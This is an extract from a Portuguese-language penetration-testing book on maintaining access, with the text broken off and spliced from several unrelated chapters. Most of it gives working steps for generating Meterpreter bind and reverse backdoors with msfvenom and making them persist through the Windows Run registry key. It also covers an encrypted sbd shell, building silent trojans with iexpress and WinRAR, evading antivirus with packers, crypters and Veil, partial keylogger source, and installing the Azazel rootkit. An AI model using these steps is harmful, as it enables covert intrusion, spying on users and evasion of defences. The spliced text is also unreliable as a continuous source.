Definições de acordo com Shakeel Ali e Tedi Heriyanto, autores do livro</p><p>Backtrack 4: Assuring Security by Penetration Testing. (p. 276.)</p><p>CAPÍTULO 12</p><p>Manutenção do acesso</p><p>Uma vez conseguido o acesso ao shell do sistema e com</p><p>seus privilégios de autoridade, a próxima etapa consiste</p><p>em implantar uma porta dos fundos ou backdoor no</p><p>sistema em teste, pois como foi mostrado na exploração</p><p>do Windows 7, mesmo que o administrador do sistema</p><p>pare de usar o serviço ou corrija a falha encontrada, a</p><p>backdoor abre uma porta que permite ao auditor voltar,</p><p>mesmo que o sistema esteja atualizado e com suas</p><p>falhas corrigidas.</p><p>Nessa etapa são utilizadas ferramentas para manutenção</p><p>de acesso e também poderão ser necessárias</p><p>ferramentas que “burlem” regras de firewall, caso haja</p><p>regras de acesso restritivas na rede.</p><p>12.1 Backdoors</p><p>Uma backdoor é um programa que fica esperando por</p><p>conexões, permitindo o acesso ao shell do sistema (feito</p><p>de maneira remota). Uma backdoor possibilita que o</p><p>auditor faça novas visitas ao sistema auditado sem</p><p>passar novamente por todo o teste de intrusão.</p><p>Para criarmos uma backdoor, novamente será utilizado o</p><p>framework Metasploit, que contém alguns payloads, que</p><p>são cargas maliciosas usadas nos exploits. Porém um</p><p>payload pode ser compilado independentemente do</p><p>exploit (lembre-se de que era o payload que de fato</p><p>mantinha um canal de conexão entre a vítima e o</p><p>atacante). Caso o payload seja compilado sem o exploit,</p><p>torna-se uma backdoor. O payload utilizado no decorrer</p><p>do livro é o Meterpreter e é fundamentalmente sobre ele</p><p>que vamos gerar a nossa backdoor.</p><p>Caso lhe interesse, o Metasploit possui outros payloads</p><p>além do Meterpreter:</p><p>root@kali# msfvenom --list payloads</p><p>Para ver as opções de determinado payload:</p><p>root@kali# msfvenom --payload windows/meterpreter/bind_tcp --payload-</p><p>options</p><p>12.1.1 Backdoors de conexão direta</p><p>Primeiro, configure o Metasploit para listar por conexões:</p><p>root@kali# msfconsole</p><p>msf > use exploit/multi/handler</p><p>msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp</p><p>msf exploit(handler) > set LPORT 12345</p><p>msf exploit(handler) > set RHOST 192.168.1.101</p><p>msf exploit(handler) > exploit</p><p>Veja quais são as opções do payload</p><p>windows/meterpreter/bind_tcp:</p><p>root@kali# msfvenom --payload windows/meterpreter/bind_tcp --</p><p>payload-options</p><p>Para nós interessa somente a opção de porta local</p><p>(LPORT – Coluna Required marcada como yes), que é a</p><p>porta que a nossa vítima ficará esperando por conexões</p><p>do atacante.</p><p>Gere o arquivo executável que contém a carga maliciosa</p><p>de acordo com as opções do payload:</p><p>root@kali# msfvenom --payload windows/meterpreter/bind_tcp</p><p>LPORT=12345 --format exe > /var/www/bind.exe</p><p>Execute o arquivo bind.exe no Windows.</p><p>12.1.2 Backdoors de conexão reversa</p><p>Primeiro, configure o Metasploit para listar por conexões:</p><p>root@kali# msfconsole</p><p>msf > use exploit/multi/handler</p><p>msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp</p><p>msf exploit(handler) > set LPORT 12345</p><p>msf exploit(handler) > set LHOST 192.168.1.100</p><p>msf exploit(handler) > exploit</p><p>Veja quais são as opções do payload</p><p>windows/meterpreter/reverse_tcp:</p><p>root@kali# msfvenom --payload windows/meterpreter/reverse_tcp --</p><p>payload-options</p><p>Para nós interessa somente as opções de porta local</p><p>(LPORT – Coluna Required marcada como yes) e host</p><p>remoto (LHOST – Coluna Required marcada como yes).</p><p>No caso do payload de conexão reversa</p><p>(windows/meterpreter/reverse_tcp), o processo é inverso:</p><p>a máquina vítima vai se conectar à máquina atacante.</p><p>Ou seja, nesse caso, LPORT indica a porta local na</p><p>máquina do atacante que ficará esperando por conexões,</p><p>e LHOST indica o IP do atacante ao qual a vítima deverá</p><p>se conectar.</p><p>Gere o arquivo executável que contém a carga maliciosa</p><p>de acordo com as opções do payload:</p><p>root@kali# msfvenom --payload windows/meterpreter/reverse_tcp</p><p>LPORT=12345 LHOST=192.168.1.100 --format exe ></p><p>/var/www/reverse.exe</p><p>Execute o arquivo reverse.exe no Windows.</p><p>A diferença entre o bind Shell e o reverse Shell é que, no</p><p>bind Shell, o auditor se conecta à máquina diretamente.</p><p>No passado esse método era muito utilizado, como em</p><p>backdoors como o NetBus, SubSeven e o BackOrifice.</p><p>Porém, com o advento da NAT (Network Address</p><p>Translation) e de firewalls, tornou-se complicado o</p><p>atacante conectar-se diretamente à máquina alvo, por</p><p>isso, como medida para burlar firewall, a conexão reversa</p><p>entra em cena. Nesse cenário a máquina comprometida</p><p>conecta-se à máquina do atacante, burlando NAT e</p><p>firewall. O uso do bind Shell é antigo e de difícil utilização</p><p>nos dias de hoje (a não ser em redes DMZ). O melhor</p><p>payload a ser adotado é a conexão reversa.</p><p>Uma vez com a conexão estabelecida, será necessário</p><p>instalar a backdoor no registro do Windows; supondo</p><p>que, no momento em que houver perda de conexão (por</p><p>exemplo, se a máquina for reinicializada), esta seja</p><p>restabelecida sem maiores problemas.</p><p>Para instalar a backdoor no sistema (com o Meterpreter</p><p>ativo), primeiro consiga acesso ao usuário nt</p><p>authority\system (esse processo pode ser visto na seção</p><p>9.4.5 “User Interface commands”).</p><p>Transfira o arquivo para uma pasta:</p><p>meterpreter > upload /var/www/reverse.exe 'C:\Windows'</p><p>Realize a enumeração das chaves do registro:</p><p>meterpreter > reg enumkey –k</p><p>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</p><p>Instale a backdoor no registro. Dessa forma, quando a</p><p>máquina for reinicializada, será</p><p>executada a reverse.exe:</p><p>meterpreter > reg setval -k</p><p>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run -v reverse -d</p><p>'C:\Windows\reverse.exe'</p><p>Realize novamente enumeração das chaves do registro.</p><p>Desta vez a chave encontra-se ativa:</p><p>meterpreter > reg enumkey -k</p><p>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run</p><p>Caso necessário, confirme as informações sobre a chave</p><p>instalada:</p><p>meterpreter > reg queryval –k</p><p>HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run –v reverse</p><p>12.2 Backdoor sbd</p><p>Sbd é um programa similiar ao netcat (lembre-se de que</p><p>podemos usar o netcat como backdoor), mas com</p><p>funcionalidades a mais, como a criptografia dos dados</p><p>utilizando o AES.</p><p>Caso optemos por utilizar o netcat, um administrador</p><p>experiente poderá interceptar o nosso tráfego de dados e</p><p>saber o que estamos fazendo. Utilizando o sbd, mesmo</p><p>que o administrador capture os dados, estes estarão</p><p>ilegíveis. O seu uso é idêntico ao netcat, por isso vamos</p><p>apenas criar uma backdoor com criptografia.</p><p>O executável do sbd pode ser encontrado em</p><p>/usr/share/windows-binaries/sbd.exe.</p><p>Opções:</p><p>-r n Reativa a conexão após n segundos. Se n for 0, a conexão fica</p><p>ativa permanentemente.</p><p>-c</p><p>on/off</p><p>Habilita/Desabilita a criptografia. Por padrão, a criptografia é</p><p>habilitada.</p><p>-k</p><p>senha</p><p>Define a nova senha a ser utilizada para criptografar os pacotes.</p><p>No Windows, inicie a backdoor, mantendo uma conexão</p><p>permanente e definindo uma senha para criptografar os</p><p>pacotes (lembre-se de que os pacotes são criptografados</p><p>com uma chave ou senha):</p><p>C:\ sbd.exe -l -p 666 -e cmd.exe -r0 -k senha_secreta</p><p>No Kali Linux, conecte-se ao Windows:</p><p>root@kali# sbd 192.168.1.101 666 -k senha_secreta</p><p>Os dados e operações que acontecem na conexão do sbd</p><p>estão criptografados e protegidos, tornando a análise da</p><p>rede na tentativa de detecção de intruso uma tarefa mais</p><p>difícil.</p><p>12.2 Cavalos de Troia</p><p>Os cavalos de Troia (também chamados de Trojan Horse)</p><p>são programas anexados a outros programas de maneira</p><p>análoga à história de Troia, em que os gregos, vendo que</p><p>perderiam a batalha, presentearam os troianos com um</p><p>cavalo de madeira, e, de dentro desse cavalo, saíram</p><p>soldados gregos.</p><p>Os cavalos de Troia computacionais são programas</p><p>legítimos nos quais, uma vez que o usuário execute-os,</p><p>também será executado (em background) um programa</p><p>malicioso (normalmente uma backdoor).</p><p>Um exemplo clássico no passado foi o programa Whack-</p><p>a-mole, um jogo em que o usuário tinha de martelar as</p><p>minhocas para ganhar pontos. Porém existiam versões</p><p>desse jogo que estavam infectadas com a backdoor</p><p>Netbus. A figura 12.1 mostra a tela inicial do jogo Whack-</p><p>a-mole.</p><p>Figura 12.1 – Tela inicial do jogo Whack-a-mole.</p><p>12.3 EXE Joiner</p><p>O EXE Joiner é um programa que junta dois arquivos em</p><p>um único arquivo, gerando um terceiro arquivo.</p><p>Normalmente, o EXE Joiner apresenta código-fonte</p><p>fechado e pode ser encontrado aos milhares na internet.</p><p>Porém o problema desse tipo de EXE Joiner é que, por ter</p><p>código fechado, não há como saber o que realmente o</p><p>Joiner é; se realmente é o EXE Joiner, como prometido</p><p>pelo próprio programa, ou se ele carrega consigo alguma</p><p>carga viral ou backdoor. Além de que esses programas</p><p>normalmente são detectados pelo antivírus. Em vez de</p><p>realizar o download desse tipo de arquivo é possível criar</p><p>um EXE Joiner.</p><p>O seu funcionamento é o seguinte: O Exe Joiner</p><p>“ensacola” o primeiro e o segundo arquivos em um</p><p>terceiro arquivo. O programa responsável por</p><p>“ensacolar” os dois arquivos em um só é chamado de</p><p>STUB. Esse terceiro arquivo (“ensacolado” pelo STUB), no</p><p>momento em que for executado, desempacota os dois</p><p>arquivos (geralmente) na pasta temporária (echo</p><p>%TEMP%) do Windows e executa os dois arquivos</p><p>desempacotados.</p><p>Fundamentalmente um EXE Joiner é um arquivo</p><p>autoextrator (arquivo SFX), com a diferença de que o</p><p>Joiner vai executar os dois arquivos recém-</p><p>desempacotados.</p><p>Um Exe Joiner pode ser feito com o utilitário iexpress.exe</p><p>do Windows, que é um criador de arquivos SFX (arquivos</p><p>autoextraídos). Podemos, dessa forma, criar um arquivo</p><p>contendo o programa normal anexado com a nossa</p><p>backdoor.</p><p>Digite iexpress no menu do Windows, conforme mostra a</p><p>figura 12.2.</p><p>Figura 12.2 – iexpress.</p><p>Na tela Welcome to IExpress 2.0, crie um novo arquivo</p><p>SFX (arquivo autoextrator) escolhendo a opção Create</p><p>new Self Extraction .</p><p>Na tela Package purpose, selecione a primeira opção</p><p>Extract files and run an installation command para extrair</p><p>um arquivo e executá-lo.</p><p>Na tela Package title, escolha um nome para o pacote.</p><p>Na tela Confirmation prompt, escolha a opção No prompt</p><p>para que o nosso cavalo de Troia não interaja com o</p><p>usuário, não crie nenhum tipo de mensagem e que seja o</p><p>mais silencioso possível. Caso deseje, o leitor poderá</p><p>selecionar a opção Prompt user with (mas não é o</p><p>recomendável para o nosso objetivo).</p><p>Na tela License agreement, escolha a opção Do not</p><p>display a license para não ser exibido nenhum tipo de</p><p>licença.</p><p>Na tela Packaged files, escolha os arquivos que serão</p><p>empacotados. Lembre-se de escolher um arquivo</p><p>qualquer que servirá como isca (como um pequeno jogo</p><p>ou outro executável do gênero) e também de escolher a</p><p>nossa backdoor (em formato .exe).</p><p>Na tela Install Program to Launch, há duas opções de</p><p>seleção para execução dos dois arquivos. Na opção</p><p>Install Program, selecione o arquivo executável (um jogo</p><p>ou arquivo do gênero) que será instalado quando o</p><p>usuário abrir o nosso cavalo de Troia. No momento em</p><p>que a instalação (ou execução) desse primeiro arquivo</p><p>for finalizada (por exemplo, quando o usuário fechar o</p><p>joguinho), será executada a opção Post Install Program,</p><p>indicando qual será o arquivo (no nosso caso a backdoor)</p><p>a ser executado. É nesse momento qua a máquina vítima</p><p>será comprometida.</p><p>Na tela Show Window, é selecionado o tipo de animação</p><p>no momento da extração de arquivos. Há opções como</p><p>Default, Hidden, Minimized e Maximized. Escolha o tipo</p><p>de animação Hidden, pois, dessa forma, a extração dos</p><p>arquivos será invisível aos olhos do usuário.</p><p>Na tela Finished message, é escolhida uma mensagem</p><p>ao terminar a extração e execução dos dois arquivos.</p><p>Escolha a opção No message para não exibir nenhuma</p><p>mensagem adicional ao usuário.</p><p>Na tela Package Name and Options, o nosso cavalo de</p><p>Troia deve ser salvo no formato .exe. Então salve o</p><p>arquivo e escolha a opção Hide File Extracting Progress</p><p>Animation from User para esconder toda a animação de</p><p>extração do usuário.</p><p>Na tela Configure restart, o sistema pode ser</p><p>reinicializado após o término da execução do nosso</p><p>cavalo de Troia. Então, por exemplo, o sistema vítima</p><p>(após executar o nosso arquivo) não será reiniciado</p><p>(opção No restart), obrigatóriamente será reiniciado</p><p>(opção Always restart) ou reiniciado somente se</p><p>necessário (opção Only restart if need). Escolha a opção</p><p>No restart para que a máquina não reinicie após a</p><p>extração e execução dos arquivos.</p><p>Na tela Save Self Extraction Directive, caso queira salvar</p><p>o projeto, escolha a opção Save Self Extraction Directive</p><p>(SED) file. Caso contrário, escolha a opção Don’t save.</p><p>O arquivo Trojan Horse.exe foi criado e poderá ser</p><p>encaminhado para o usuário.</p><p>Um arquivo SFX também pode ser criado utilizando-se o</p><p>Winrar.</p><p>Crie um arquivo chamado STUB.BAT com o seguinte</p><p>conteúdo:</p><p>start Backdoor.exe</p><p>start Whack-a-mole.exe</p><p>Gere um arquivo executável a partir do arquivo .bat pelo</p><p>programa “Bat to Exe Converter”, conforme mostra a</p><p>figura 12.3.</p><p>O download do arquivo “Bat to Exe” pode ser realizado</p><p>em: http://www.f2ko.de/programs.php?</p><p>lang=en&pid=b2e.</p><p>Figura 12.3 – Tela do programa “Bat to Exe Converter”.</p><p>Selecione os três arquivos e selecione Add to archive...</p><p>conforme mostra a figura 12.4.</p><p>Na aba General:</p><p>• Selecione no campo Archive format o tipo ZIP.</p><p>• Selecione no campo Compression method a opção</p><p>Best.</p><p>• Selecione no campo Archiving options a opção Create</p><p>SFX archive.</p><p>Figura 12.4 – Adicione os três arquivos com o Winrar.</p><p>Na</p><p>aba Advanced:</p><p>• Selecione o botão SFX Options para configurar as</p><p>opções do arquivo autoextrator.</p><p>Na aba Setup:</p><p>• Selecione o arquivo que será inicializado após a</p><p>extração (no nosso caso, deverá ser o STUB.exe, pois</p><p>ele é um binário que vai inicializar a jogo e a</p><p>backdoor) escrevendo o nome STUB.exe dentro do</p><p>campo Setup Program > Run after extraction.</p><p>Na aba Modes:</p><p>• Marque o checkbox Unpack to temporary folder para</p><p>extrair os arquivos da pasta temporária do Windows e</p><p>marque também Silent Mode >Hide all para que a</p><p>extração do arquivo seja realizada em modo silencioso</p><p>(sem animações).</p><p>O arquivo Desktop.exe foi criado com sucesso e poderá</p><p>ser encaminhado ao usuário.</p><p>12.4 Bypass A.V</p><p>Os arquivos criados com o Metasploit são definidos como</p><p>arquivos virais. Isso porque carregam dentro deles um</p><p>conjunto de instruções que empresas de antivírus</p><p>detectam como sendo um arquivo malicioso (e de fato é).</p><p>Porém podem ser encontrados na internet inúmeros</p><p>métodos para se esconder o arquivo da detecção viral:</p><p>obfuscação viral, novos payloads, encoders e crypters.</p><p>Quando, por exemplo, um arquivo se torna de acesso</p><p>público, as empresas de antivírus podem decidir</p><p>classificá-lo como malicioso. Para que possamos</p><p>“camuflar” o nosso arquivo, sem que o este perca a sua</p><p>funcionalidade, é necessário conhecimentos em alguma</p><p>linguagem de programação. Crypters e encoders de</p><p>acesso público usados em codificação de arquivos</p><p>maliciosos também têm uma assinatura viral e também</p><p>são classificados como maliciosos.</p><p>O melhor método para camuflar 100% o seu arquivo</p><p>malicioso contra antivírus é programando-o.</p><p>12.4.1 Compressores de arquivos</p><p>Trata-se de um método antigo para compactar o arquivo,</p><p>ou seja, utilizando-se de programas especiais, tais como</p><p>o UPX ou Petite, é possível criar um arquivo com um</p><p>tamanho bem reduzido em relação ao original. Ao se</p><p>realizar essa técnica, o arquivo, por ter um tamanho</p><p>menor e uma estrutura diferente, consegue burlar o</p><p>sistema de antivírus.</p><p>Vale lembrar que essa técnica é antiga e a detecção de</p><p>assinaturas virais é bem mais sofisticada do que no</p><p>passado. Porém esse método vale a pena ser citado e</p><p>testado.</p><p>O UPX pode ser obtido em http://upx.sourceforge.net/. O</p><p>Petite pode ser obtido em</p><p>http://www.un4seen.com/petite/.</p><p>Encorajo o leitor a realizar o download desses dois</p><p>arquivos, criar um arquivo malicioso com o Metasploit e</p><p>testá-lo contra a sua solução de antivírus.</p><p>12.4.2 Crypters/Encoders</p><p>Outro método além de compactadores é a utilização de</p><p>encriptadores. Diferentemente dos compactadores, os</p><p>encriptadores adicionam criptografia no arquivo,</p><p>dificultando a detecção de um arquivo malicioso. Embora</p><p>o sistema de antivírus não detecte o antigo código</p><p>malicioso como sendo um código malicioso, o antivírus</p><p>pode detectar o código do encriptador e alertar o usuário</p><p>de que o programa encriptado é malicioso.</p><p>Um exemplo de encriptador é o programa Themida que</p><p>pode ser obtido em http://www.oreans.com/.</p><p>12.4.3 Veil-Framework</p><p>O Veil-Framework é um framework que permite a</p><p>codificação de arquivos binários para se tentar obfuscar</p><p>o seu código. Pode ser obtido em https://github.com/Veil-</p><p>Framework/Veil-Evasion/.</p><p>root@kali# git clone https://github.com/Veil-Framework/Veil-Evasion/</p><p>root@kali# cd Veil-Evasion</p><p>root@kali# python Veil-Evasion.py</p><p>O Veil-Framework é atualizado com o comando:</p><p>update</p><p>Os payloads do Veil-Framework podem ser listados com:</p><p>list</p><p>O payload pode ser utilizado com o comando use</p><p>payload, por exemplo:</p><p>use c/meterpreter/rev_http</p><p>As opções do payload podem ser mudadas com set</p><p>opção valor, por exemplo:</p><p>set LHOST 192.168.1.100</p><p>set LPORT 12345</p><p>O payload pode ser gerado com o comando:</p><p>generate</p><p>Por padrão, o arquivo será gerado em /root/veil-output.</p><p>O hash do arquivo gerado pode ser checado no vírus</p><p>total (http://www.virustotal.com) com o comando:</p><p>chechvt</p><p>O arquivo gerado pode ser deletado (útil para apagar a</p><p>pasta com os arquivos finais gerados) com o comando:</p><p>clean</p><p>Com o arquivo gerado, teste-o contra seu antivírus. Caso</p><p>o antivírus detecte-o como sendo malicioso, tente outro</p><p>payload do Veil-Framework.</p><p>12.5 Keylogger</p><p>Keyloggers são programas que armazenam em um</p><p>arquivo de texto tudo aquilo que for digitado pelo</p><p>usuário, para posterior verificação. Além de serem</p><p>fundamentais em pentest, são muito utilizados pela</p><p>espionagem, para saber senhas de uma pessoa, com</p><p>quem ela conversa e monitorar toda a sua atividade na</p><p>internet.</p><p>Normalmente keyloggers são encontrados na internet</p><p>com o código-fonte fechado, porém esses arquivos são</p><p>pouco confiáveis. Há versões comerciais de keyloggers,</p><p>como o Ardamax.</p><p>Um keylogger pode ser facilmente escrito na linguagem</p><p>C++.</p><p>//Código-fonte de um keylogger escrito em C++</p><p>//Compile o código com o DevC++</p><p>//Fonte: https://dl.dropboxusercontent.com/u/110076680/WinKeyLogger.txt</p><p>#include</p><p>#include</p><p>using namespace std;</p><p>#include</p><p>#include</p><p>int save (int key_stroke, char *file){</p><p>if((key_stroke == 1) || (key_stroke == 2)) return 0;</p><p>FILE *OUTPUT_FILE;</p><p>OUTPUT_FILE = fopen(file, "a+");</p><p>if(key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE] ");</p><p>else if(key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");</p><p>else if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");</p><p>else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS] ");</p><p>else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL] ");</p><p>else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT] ");</p><p>else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK] ");</p><p>else if(key_stroke == 9)fprintf(OUTPUT_FILE, "%s", "[TAB] ");</p><p>else if(key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");</p><p>else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME] ");</p><p>else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END] ");</p><p>else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE] ");</p><p>else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP] ");</p><p>else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT] ");</p><p>else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN] ");</p><p>else fprintf(OUTPUT_FILE, "%s", &key_stroke);</p><p>fclose(OUTPUT_FILE);</p><p>cout</p><p>localhost -sV -p 22</p><p>• Copie o banner capturado pelo Nmap para o arquivo</p><p>honeypot.txt:</p><p>OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)</p><p>• Finalize o servidor SSH:</p><p>root@kali# service ssh stop</p><p>• Inicialize o netcat dentro de um laço while:</p><p>root@kali# while(true); do nc –l –p 22 –vvv Rede > Adaptador 1 > Avançado ></p><p>Modo Promíscuo > Permitir Tudo), conforme mostra a</p><p>figura 12.7.</p><p>Figura 12.7 – Cabo em modo promíscuo na máquina</p><p>virtual é pré-requisito para os laboratórios com o honeyd.</p><p>12.6.2.1 Laboratório Honeyd: Honeypot</p><p>Para o primeiro laboratório será criado um honeypot que</p><p>simula uma máquina Windows XP SP1, com as portas 139</p><p>e 445 abertas.</p><p>Será necessário criar um arquivo de configuração com as</p><p>honeypots que serão emuladas.</p><p>Crie o arquivo honeyd.conf:</p><p>create default</p><p>set default default tcp action block</p><p>set default default udp action block</p><p>set default default icmp action block</p><p>create windows</p><p>set windows personality "Microsoft Windows XP SP1"</p><p>set windows default tcp action reset</p><p>add windows tcp port 135 open</p><p>add windows tcp port 139 open</p><p>add windows tcp port 445 open</p><p>set windows ethernet "00:00:24:c8:e3:34"</p><p>dhcp windows on eth0</p><p>Os comandos create default e set default default</p><p>tcp/udp/icmp action block criam as regras padrões para o</p><p>honeypot. No caso, os pacotes TCP, UDP e ICMP que não</p><p>forem destinados ao honeypot serão descartados.</p><p>As regras a seguir indicam ao honeyd que será criado um</p><p>honeypot com o template do Windows XP sp1, o tráfego</p><p>destinado ao TCP será descartado e o honeypot terá as</p><p>portas 135, 139 e 445 abertas com o endereço MAC</p><p>“00:00:24:c8:e3:34”.</p><p>create windows</p><p>set windows personality "Microsoft Windows XP SP1"</p><p>set windows default tcp action reset</p><p>add windows tcp port 135 open</p><p>add windows tcp port 139 open</p><p>add windows tcp port 445 open</p><p>set windows ethernet "00:00:24:c8:e3:34"</p><p>A última regra indica ao honeyd que o honeypot Windows</p><p>terá o seu IP atribuído via DHCP.</p><p>dhcp windows on eth0</p><p>Inicie o honeyd com:</p><p>root@debian# honeyd -d -f honeyd.conf</p><p>Realize o scan com o Nmap:</p><p>root@kali# nmap IP_HONEYPOT -O</p><p>O resultado do scan é capturado pelo honeyd.</p><p>honeyd[18536]: Send ICMP Echo Reply: 192.168.1.105 -> 192.168.1.100</p><p>honeyd[18536]: Send ICMP Echo Reply: 192.168.1.105 -> 192.168.1.100</p><p>honeyd[18536]: Connection request: tcp (192.168.1.100:61063 -</p><p>192.168.1.105:38854)</p><p>honeyd[18536]: Connection dropped by reset: tcp (192.168.1.100:61063 -</p><p>192.168.1.105:38854)</p><p>honeyd[18536]: Killing unknow connection: tcp (192.168.1.100:61063 -</p><p>192.168.1.105:38854)</p><p>12.6.2.2 Laboratório Honeyd: Múltiplos</p><p>honeypots</p><p>É possível criar vários honeypots com o honeyd, para</p><p>isso verifique o arquivo /usr/share/honeyd/nmap.prints.</p><p>Esse arquivo utiliza o fingerprinting de detecção do</p><p>sistema operacional do Nmap para tentar enganar o</p><p>próprio Nmap.</p><p>Para criarmos múltiplos honeypots, simplesmente é</p><p>inserida no arquivo a personalidade do sistema que se</p><p>queira criar.</p><p>Arquivo honeyd.conf:</p><p>create default</p><p>set default default tcp action block</p><p>set default default udp action block</p><p>set default default icmp action block</p><p>create windows</p><p>set windows personality "Microsoft Windows XP SP1"</p><p>set windows default tcp action reset</p><p>add windows tcp port 135 open</p><p>add windows tcp port 139 open</p><p>add windows tcp port 445 open</p><p>set windows ethernet "00:00:24:c8:e3:34"</p><p>dhcp windows on eth0</p><p>create solaris</p><p>set solaris personality "Avaya G3 PBX version 8.3"</p><p>set solaris default tcp action reset</p><p>add solaris tcp port 22 open</p><p>add solaris tcp port 2049 open</p><p>set solaris ethernet "00:00:24:c8:e3:14"</p><p>dhcp solaris on eth0</p><p>12.6.2.3 Laboratório Honeyd: Honeypot com</p><p>IP estático</p><p>Para criar um honeypot com IP estático, troque a linha</p><p>dhcp solaris on eth0</p><p>Por</p><p>bind 192.168.1.2 solaris</p><p>12.7 Rootkits</p><p>O rootkit é um conjunto de ferramentas que possibilita ao</p><p>atacante manter o seu acesso ao sistema comprometido</p><p>da forma mais invisível possível, escondendo arquivos,</p><p>conexões e processos. Normalmente, rootkits exploram</p><p>módulos do Kernel para ocultar a presença do atacante.</p><p>Fundamentalmente há dois tipos de rootkits: Userland e</p><p>Kernel Land.</p><p>12.7.1 Userland</p><p>Rootkits do tipo userland alteram os binários do sistema</p><p>por binários comprometidos. Por exemplo, um rootkit do</p><p>tipo userland vai alterar o comando netstat pelo</p><p>comando netstat infectado, ocultando a sua conexão ao</p><p>computador.</p><p>As principais atividades de um rootkit do tipo userland</p><p>são:</p><p>• Esconder arquivos – O rootkit esconde a si mesmo</p><p>e/ou arquivos com nomes especiais.</p><p>• Esconder processos – Processos iniciados pelo</p><p>rootkit não são visualizados por comandos como o ps</p><p>ou top.</p><p>• Esconder conexões – Um rootkit consegue camuflar</p><p>a sua conexão, não sendo visualizado com comandos</p><p>como o netstat.</p><p>Um exemplo de rootkit do tipo userland para o Linux é o</p><p>rootkit Azazel.</p><p>http://packetstormsecurity.com/files/download/125240/a</p><p>zazel-master.zip</p><p>12.7.1.1 Utilizando o rootkit Azazel</p><p>O rootkit Azazel é um rootkit do tipo userland destinado</p><p>ao sistema operacional Linux. O Azazel tira vantagem</p><p>sobre a variável de ambiente LD_PRELOAD (o Linux vai</p><p>carregar essa biblioteca primeiro antes de carregar</p><p>qualquer biblioteca do sistema), na qual realiza a injeção</p><p>do seu código malicioso. Algumas de suas</p><p>funcionalidades incluem: esconder processos, arquivos e</p><p>conexões.</p><p>Instale as dependências necessárias para o rootkit</p><p>Azazel:</p><p>root@debian# apt-get install libpcap-dev</p><p>root@debian# apt-get install libpam0g-dev</p><p>root@debian# apt-get install libcurl4-openssl-dev</p><p>O arquivo de configuração do Azazel é o config.py. Nesse</p><p>arquivo são definidas configurações como a porta que o</p><p>Azazel escutará, “string mágica” para esconder arquivos</p><p>etc. Configure-o de acordo com a sua necessidade.</p><p>Compile o Azazel com:</p><p>root@debian:~/azazel-master# make</p><p>Será gerado o arquivo libselinux.so; copie-o para o</p><p>diretório /lib:</p><p>root@debian:~/azazel-master# cp libselinux.so /lib</p><p>Para o rootkit tornar-se ativo no sistema, defina a</p><p>variável de ambiente LD_PRELOAD:</p><p>root@debian:~/azazel-master# export LD_PRELOAD=/lib/libselinux.so</p><p>Nesse momento, o terminal está sob controle do rootkit.</p><p>Por exemplo, como padrão a string mágica para esconder</p><p>arquivos é underscore+underscore “__”.</p><p>Crie</p><p>ou até</p><p>mesmo em um dispositivo pendrive.</p><p>Veja a seguir as principais formas de instalação do Kali</p><p>Linux, assim como os seus prós e contras. Cabe ao leitor</p><p>decidir qual é o melhor cenário para instalar e utilizar o</p><p>Kali Linux:</p><p>• DVD – Após o download do sistema operacional</p><p>(imagem ISO – arquivo com extensão .ISO que fará</p><p>toda a instalação do Kali Linux), este poderá ser</p><p>gravado em um DVD e inicializado na máquina a partir</p><p>do DVD. Uma vez inicializada a partir do DVD, a</p><p>imagem ISO não altera as configurações existentes no</p><p>seu computador, e todas as alterações efetuadas</p><p>serão descartadas. Porém a potência máxima do seu</p><p>computador não será utilizada para o melhor</p><p>aproveitamento do Kali Linux. A instalação do Kali</p><p>Linux em um DVD é vantajosa para iniciantes.</p><p>• USB – Da mesma forma que no DVD, a instalação do</p><p>Kali Linux em um USB permite a utilização do sistema</p><p>sem a necessidade de instalá-lo no seu computador.</p><p>Para a instalação do Kali Linux em um USB é</p><p>necessário o programa UNetbootin, obtido em</p><p>http://unetbootin.sourceforge.net.</p><p>• HD – O Kali Linux pode ser instalado diretamente no</p><p>seu computador. Recomendado para usuários que já</p><p>têm conhecimento em Linux.</p><p>• Máquina virtual (VirtualBox) – A desvantagem em</p><p>executar o Kali Linux em uma máquina virtual é que o</p><p>sistema fica mais lento em relação à instalação direta</p><p>no computador. Outra limitação é que as placas de</p><p>redes sem fio deverão ser do tipo USB, em razão das</p><p>próprias limitações da máquina virtual. Porém é ideal</p><p>para quem está iniciando e não deseja formatar o seu</p><p>HD.</p><p>2.2.1 Instalação do VirtualBox</p><p>Para realizar a instalação do Kali Linux, primeiro será</p><p>necessário fazer o download e a instalação de uma</p><p>máquina virtual.</p><p>Acesse o site http://www.virtualbox.org e, na aba</p><p>Downloads, realize o download do VirtualBox (Figura 2.1).</p><p>Escolha a versão do VirtualBox mais indicada para o</p><p>sistema operacional do seu computador. No exemplo,</p><p>iniciei o download do VirtualBox para o Windows (Figura</p><p>2.2).</p><p>A primeira tela é uma tela de boas-vindas, solicitando ao</p><p>usuário a permissão de instalação da máquina virtual no</p><p>computador. Aceite clicando em Next (Próximo) (Figura</p><p>2.3).</p><p>Figura 2.1 – Tela inicial do site http://www.virtualbox.org.</p><p>Figura 2.2 – Download do VirtualBox para o sistema</p><p>operacional Windows.</p><p>A próxima tela é referente a quais módulos devem ser</p><p>instalados noVirtualBox, por exemplo, se a máquina</p><p>virtual terá suporte à rede, reconhecimento de</p><p>dispositivos USB e outros (Figura 2.4). Para os</p><p>laboratórios, habilite todos os módulos 